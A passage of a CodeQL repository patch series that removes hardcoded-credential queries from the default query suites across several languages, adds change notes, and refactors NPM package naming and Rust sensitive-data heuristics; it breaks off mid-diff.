b/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected @@ -196,7 +196,6 @@ ql/java/ql/src/Security/CWE/CWE-730/RegexInjection.ql ql/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql ql/java/ql/src/Security/CWE/CWE-749/UnsafeAndroidAccess.ql ql/java/ql/src/Security/CWE/CWE-780/RsaWithoutOaep.ql -ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql ql/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql ql/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql diff --git a/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected b/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected index d5f4cbf1ccc4..209777cf4d98 100644 --- a/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected +++ b/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected @@ -99,7 +99,6 @@ ql/java/ql/src/Security/CWE/CWE-730/RegexInjection.ql ql/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql ql/java/ql/src/Security/CWE/CWE-749/UnsafeAndroidAccess.ql ql/java/ql/src/Security/CWE/CWE-780/RsaWithoutOaep.ql -ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql ql/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql ql/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql diff --git a/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected b/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected index 0fbc365c1343..d0378fa2ea4c 100644 --- a/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected +++ b/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected @@ -158,6 +158,7 @@ ql/java/ql/src/Security/CWE/CWE-312/CleartextStorageClass.ql ql/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql ql/java/ql/src/Security/CWE/CWE-319/UseSSL.ql ql/java/ql/src/Security/CWE/CWE-319/UseSSLSocketFactories.ql +ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsComparison.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsSourceCall.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedPasswordField.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected index 7f7ab7aa326d..1cf124ce3cf6 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected @@ -75,7 +75,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedSource.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index 63f6629f7bfd..eb4acd38e39b 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -144,7 +144,6 @@ ql/javascript/ql/src/Security/CWE-312/ActionsArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/CleartextLogging.ql ql/javascript/ql/src/Security/CWE-312/CleartextStorage.ql -ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-326/InsufficientKeySize.ql ql/javascript/ql/src/Security/CWE-327/BadRandomness.ql ql/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql @@ -173,7 +172,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected index 29ae7fd6939e..a5b5cfefdbc2 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected @@ -59,7 +59,6 @@ ql/javascript/ql/src/Security/CWE-312/ActionsArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/CleartextLogging.ql ql/javascript/ql/src/Security/CWE-312/CleartextStorage.ql -ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-326/InsufficientKeySize.ql ql/javascript/ql/src/Security/CWE-327/BadRandomness.ql ql/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql @@ -88,7 +87,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index a6c808c6cbfb..34c4df3d6fae 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -53,7 +53,9 @@ ql/javascript/ql/src/RegExp/BackspaceEscape.ql ql/javascript/ql/src/RegExp/MalformedRegExp.ql ql/javascript/ql/src/Security/CWE-020/ExternalAPIsUsedWithUntrustedData.ql ql/javascript/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql +ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-451/MissingXFrameOptions.ql +ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/DifferentKindsComparisonBypass.ql ql/javascript/ql/src/Security/trest/test.ql ql/javascript/ql/src/Statements/EphemeralLoop.ql diff --git a/python/ql/integration-tests/query-suite/not_included_in_qls.expected b/python/ql/integration-tests/query-suite/not_included_in_qls.expected index 9921f13aa558..05108abc2060 100644 --- a/python/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/python/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -58,6 +58,7 @@ ql/python/ql/src/Metrics/NumberOfStatements.ql ql/python/ql/src/Metrics/TransitiveImports.ql ql/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql ql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql +ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Statements/AssertLiteralConstant.ql ql/python/ql/src/Statements/C_StyleParentheses.ql ql/python/ql/src/Statements/DocStrings.ql diff --git a/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected b/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected index 4560c92f36d6..e391dea95cd7 100644 --- a/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected +++ b/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected @@ -133,7 +133,6 @@ ql/python/ql/src/Security/CWE-730/ReDoS.ql ql/python/ql/src/Security/CWE-730/RegexInjection.ql ql/python/ql/src/Security/CWE-732/WeakFilePermissions.ql ql/python/ql/src/Security/CWE-776/XmlBomb.ql -ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Security/CWE-918/FullServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-918/PartialServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-943/NoSqlInjection.ql diff --git a/python/ql/integration-tests/query-suite/python-security-extended.qls.expected b/python/ql/integration-tests/query-suite/python-security-extended.qls.expected index 398da79f01e4..1b255c6a0d05 100644 --- a/python/ql/integration-tests/query-suite/python-security-extended.qls.expected +++ b/python/ql/integration-tests/query-suite/python-security-extended.qls.expected @@ -43,7 +43,6 @@ ql/python/ql/src/Security/CWE-730/ReDoS.ql ql/python/ql/src/Security/CWE-730/RegexInjection.ql ql/python/ql/src/Security/CWE-732/WeakFilePermissions.ql ql/python/ql/src/Security/CWE-776/XmlBomb.ql -ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Security/CWE-918/FullServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-918/PartialServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-943/NoSqlInjection.ql diff --git a/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected b/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected index ea96d413106e..59aef4e12c1d 100644 --- a/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -30,6 +30,7 @@ ql/ruby/ql/src/queries/metrics/FLinesOfCode.ql ql/ruby/ql/src/queries/metrics/FLinesOfComments.ql ql/ruby/ql/src/queries/modeling/GenerateModel.ql ql/ruby/ql/src/queries/security/cwe-732/WeakFilePermissions.ql +ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/variables/UnusedParameter.ql ql/ruby/ql/src/utils/modeleditor/ApplicationModeEndpoints.ql ql/ruby/ql/src/utils/modeleditor/FrameworkModeAccessPaths.ql diff --git a/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected b/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected index 604a4c223fbd..0d1af0f29d93 100644 --- a/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected +++ b/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected @@ -41,7 +41,6 @@ ql/ruby/ql/src/queries/security/cwe-598/SensitiveGetQuery.ql ql/ruby/ql/src/queries/security/cwe-601/UrlRedirect.ql ql/ruby/ql/src/queries/security/cwe-611/Xxe.ql ql/ruby/ql/src/queries/security/cwe-732/WeakCookieConfiguration.ql -ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/security/cwe-829/InsecureDownload.ql ql/ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql ql/ruby/ql/src/queries/security/cwe-915/MassAssignment.ql diff --git a/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected b/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected index 706b9a9a363a..b2b0a0d7b27e 100644 --- a/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected +++ b/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected @@ -40,7 +40,6 @@ ql/ruby/ql/src/queries/security/cwe-598/SensitiveGetQuery.ql ql/ruby/ql/src/queries/security/cwe-601/UrlRedirect.ql ql/ruby/ql/src/queries/security/cwe-611/Xxe.ql ql/ruby/ql/src/queries/security/cwe-732/WeakCookieConfiguration.ql -ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/security/cwe-829/InsecureDownload.ql ql/ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql ql/ruby/ql/src/queries/security/cwe-915/MassAssignment.ql diff --git a/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected b/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected index 64c776d96d1d..ced293a493b9 100644 --- a/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected @@ -1,5 +1,7 @@ ql/swift/ql/src/AlertSuppression.ql ql/swift/ql/src/experimental/Security/CWE-022/UnsafeUnpack.ql +ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql +ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Summary/FlowSources.ql ql/swift/ql/src/queries/Summary/QuerySinks.ql ql/swift/ql/src/queries/Summary/RegexEvals.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected index bee12dbfb8fa..7b2583382006 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected @@ -14,12 +14,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected index 412d0816affc..f1d01d4d0658 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected @@ -15,12 +15,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected index 412d0816affc..f1d01d4d0658 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected @@ -15,12 +15,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql From dabeddb62dc485ba5f73f55f3747b344ef366b9e Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 16 May 2025 12:48:38 +0200 Subject: [PATCH 190/535] Add change-notes. --- .../ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ .../ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ .../ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md | 4 ++++ 7 files changed, 28 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md create mode 100644 swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..6255db9c199f --- /dev/null +++ b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..b25a9b3d056b --- /dev/null +++ b/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..18340ca87745 --- /dev/null +++ b/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..99af2e2c448d --- /dev/null +++ b/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..ee550ce449b0 --- /dev/null +++ b/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..684b1b3ea78f --- /dev/null +++ b/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md new file mode 100644 index 000000000000..cc524d8c34da --- /dev/null +++ b/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. From 757a4877e0d1bc0d5ba93bef062c83e0435ad538 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 19 May 2025 11:10:29 +0200 Subject: [PATCH 191/535] C++: Do not use deprecated `hasLocationInfo` in `FlowTestCommon` --- cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll b/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll index 0effb698f419..e4eec5dbe126 100644 --- a/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll +++ b/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll @@ -26,7 +26,7 @@ module IRFlowTest implements TestSig { n = strictcount(int line, int column | Flow::flow(any(IRDataFlow::Node otherSource | - otherSource.hasLocationInfo(_, line, column, _, _) + otherSource.getLocation().hasLocationInfo(_, line, column, _, _) ), sink) ) and ( @@ -55,7 +55,7 @@ module AstFlowTest implements TestSig { n = strictcount(int line, int column | Flow::flow(any(AstDataFlow::Node otherSource | - otherSource.hasLocationInfo(_, line, column, _, _) + otherSource.getLocation().hasLocationInfo(_, line, column, _, _) ), sink) ) and ( From d20a602aabe947867f6d26d5f63149558a232def Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 19 May 2025 11:07:37 +0100 Subject: [PATCH 192/535] Rust: Accept consistency check failures. --- .../sources/CONSISTENCY/ExtractionConsistency.expected | 2 ++ .../sources/CONSISTENCY/PathResolutionConsistency.expected | 3 +++ 2 files changed, 5 insertions(+) create mode 100644 rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected create mode 100644 rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected new file mode 100644 index 000000000000..9b32055d17f4 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected @@ -0,0 +1,2 @@ +extractionWarning +| target/debug/build/typenum-a2c428dcba158190/out/tests.rs:1:1:1:1 | semantic analyzer unavailable (not included in files loaded from manifest) | diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0819f6080243 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,3 @@ +multipleMethodCallTargets +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | From 1e8a49f31121930fcb29e2a55f90fd10fc03fdac Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 19 May 2025 11:18:29 +0200 Subject: [PATCH 193/535] JS: More efficient nested package naming --- javascript/ql/lib/semmle/javascript/NPM.qll | 29 ++++++++++--------- .../ql/test/library-tests/NPM/tests.expected | 1 - 2 files changed, 16 insertions(+), 14 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/NPM.qll b/javascript/ql/lib/semmle/javascript/NPM.qll index 92e349594144..cbe580b45689 100644 --- a/javascript/ql/lib/semmle/javascript/NPM.qll +++ b/javascript/ql/lib/semmle/javascript/NPM.qll @@ -22,6 +22,13 @@ class PackageJson extends JsonObject { pragma[nomagic] string getDeclaredPackageName() { result = this.getPropStringValue("name") } + /** + * Gets the nearest `package.json` file found in the parent directories, if any. + */ + PackageJson getEnclosingPackage() { + result.getFolder() = packageInternalParent*(this.getFolder().getParentContainer()) + } + /** * Gets the name of this package. * If the package is located under the package `pkg1` and its relative path is `foo/bar`, then the resulting package name will be `pkg1/foo/bar`. @@ -29,18 +36,13 @@ class PackageJson extends JsonObject { string getPackageName() { result = this.getDeclaredPackageName() or - exists( - PackageJson parentPkg, Container currentDir, Container parentDir, string parentPkgName, - string pkgNameDiff - | - currentDir = this.getJsonFile().getParentContainer() and - parentDir = parentPkg.getJsonFile().getParentContainer() and - parentPkgName = parentPkg.getPropStringValue("name") and - parentDir.getAChildContainer+() = currentDir and - pkgNameDiff = currentDir.getAbsolutePath().suffix(parentDir.getAbsolutePath().length()) and - not exists(pkgNameDiff.indexOf("/node_modules/")) and - result = parentPkgName + pkgNameDiff and - not parentPkg.isPrivate() + not exists(this.getDeclaredPackageName()) and + exists(PackageJson parent | + parent = this.getEnclosingPackage() and + not parent.isPrivate() and + result = + parent.getDeclaredPackageName() + + this.getFolder().getRelativePath().suffix(parent.getFolder().getRelativePath().length()) ) } @@ -405,5 +407,6 @@ class NpmPackage extends @folder { */ private Folder packageInternalParent(Container c) { result = c.getParentContainer() and - not c.(Folder).getBaseName() = "node_modules" + not c.(Folder).getBaseName() = "node_modules" and + not c = any(PackageJson pkg).getFolder() } diff --git a/javascript/ql/test/library-tests/NPM/tests.expected b/javascript/ql/test/library-tests/NPM/tests.expected index 568bd0a7a821..59970dcd3d67 100644 --- a/javascript/ql/test/library-tests/NPM/tests.expected +++ b/javascript/ql/test/library-tests/NPM/tests.expected @@ -39,7 +39,6 @@ modules | src/node_modules/nested | nested | src/node_modules/nested/tst3.js:1:1:2:13 | | | src/node_modules/nested/node_modules/a | a | src/node_modules/nested/node_modules/a/index.js:1:1:1:25 | | | src/node_modules/parent-module | parent-module | src/node_modules/parent-module/main.js:1:1:2:0 | | -| src/node_modules/parent-module | parent-module | src/node_modules/parent-module/sub-module/main.js:1:1:2:0 | | | src/node_modules/parent-module/sub-module | parent-module/sub-module | src/node_modules/parent-module/sub-module/main.js:1:1:2:0 | | | src/node_modules/third-party-module | third-party-module | src/node_modules/third-party-module/fancy.js:1:1:4:0 | | npm From 317e61d370e8dc479d575062abba76adefaa0f5b Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 19 May 2025 12:53:05 +0200 Subject: [PATCH 194/535] JS: Update UnresolvableImports to handle nested packages --- javascript/ql/src/NodeJS/UnresolvableImport.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/NodeJS/UnresolvableImport.ql b/javascript/ql/src/NodeJS/UnresolvableImport.ql index 28c46229cf6a..972a6b21ccb9 100644 --- a/javascript/ql/src/NodeJS/UnresolvableImport.ql +++ b/javascript/ql/src/NodeJS/UnresolvableImport.ql @@ -36,7 +36,7 @@ where not exists(r.getImportedModule()) and // no enclosing NPM package declares a dependency on `mod` forex(NpmPackage pkg, PackageJson pkgJson | - pkg.getAModule() = r.getTopLevel() and pkgJson = pkg.getPackageJson() + pkg.getAModule() = r.getTopLevel() and pkgJson = pkg.getPackageJson().getEnclosingPackage*() | not pkgJson.declaresDependency(mod, _) and not pkgJson.getPeerDependencies().getADependency(mod, _) and From 4bbdc9a1cddd9bbabb5013357a12714471184e27 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 19 May 2025 12:08:53 +0100 Subject: [PATCH 195/535] Rust: Simplify SensitiveData.qll. --- .../codeql/rust/security/SensitiveData.qll | 82 ++++--------------- 1 file changed, 15 insertions(+), 67 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 3dcc48a799ae..703a5099317a 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -22,77 +22,26 @@ abstract class SensitiveData extends DataFlow::Node { } /** - * A function that might produce sensitive data. + * A function call or enum variant data flow node that might produce sensitive data. */ -private class SensitiveDataFunction extends Function { +private class SensitiveDataCall extends SensitiveData { SensitiveDataClassification classification; - SensitiveDataFunction() { - HeuristicNames::nameIndicatesSensitiveData(this.getName().getText(), classification) - } - - SensitiveDataClassification getClassification() { result = classification } -} - -/** - * A function call data flow node that might produce sensitive data. - */ -private class SensitiveDataFunctionCall extends SensitiveData { - SensitiveDataClassification classification; - - SensitiveDataFunctionCall() { - classification = - this.asExpr() - .getAstNode() - 